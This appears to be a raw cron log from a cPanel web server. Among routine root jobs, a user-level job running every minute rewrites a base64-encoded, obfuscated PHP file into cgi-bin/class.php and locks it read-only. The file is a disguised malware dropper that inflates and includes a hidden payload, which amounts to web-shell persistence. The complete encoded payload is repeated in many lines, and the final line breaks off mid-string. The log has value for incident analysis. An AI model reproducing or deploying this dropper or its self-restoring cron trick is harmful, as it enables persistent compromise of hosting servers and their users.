Sep  7 07:56:01 server CROND[14452]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:56:01 server CROND[14453]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:56:01 server CROND[14454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:57:01 server CROND[14846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:57:01 server CROND[14847]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:57:01 server CROND[14848]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 07:57:01 server CROND[14849]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:58:01 server CROND[15331]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:58:01 server CROND[15330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:58:01 server CROND[15332]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:59:01 server CROND[15706]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:59:01 server CROND[15708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:59:01 server CROND[15707]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:00:01 server CROND[16100]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 08:00:01 server CROND[16101]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 08:00:01 server CROND[16105]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 08:00:01 server CROND[16109]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:00:01 server CROND[16110]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Sep  7 08:00:01 server CROND[16112]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 08:00:01 server CROND[16113]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 08:00:01 server CROND[16116]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:00:01 server CROND[16114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:00:01 server CROND[16111]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  7 08:00:01 server CROND[16115]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  7 08:01:01 server CROND[16951]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 08:01:01 server CROND[16953]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:01:01 server CROND[16954]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:01:01 server CROND[16955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:01:01 server run-parts(/etc/cron.hourly)[16951]: starting 0anacron
Sep  7 08:01:01 server run-parts(/etc/cron.hourly)[16972]: finished 0anacron
Sep  7 08:02:01 server CROND[17343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:02:01 server CROND[17344]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:02:01 server CROND[17346]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:03:01 server CROND[17787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:03:01 server CROND[17788]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:03:01 server CROND[17789]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:04:01 server CROND[18162]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:04:01 server CROND[18163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:04:01 server CROND[18164]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:05:01 server CROND[18643]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  7 08:05:01 server CROND[18644]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 08:05:01 server CROND[18646]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:05:01 server CROND[18649]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 08:05:01 server CROND[18647]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:05:01 server CROND[18652]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 08:05:01 server CROND[18648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:05:01 server CROND[18651]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 08:05:01 server CROND[18650]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 08:06:01 server CROND[19492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:06:01 server CROND[19493]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:06:01 server CROND[19494]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:07:01 server CROND[19883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:07:01 server CROND[19884]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBq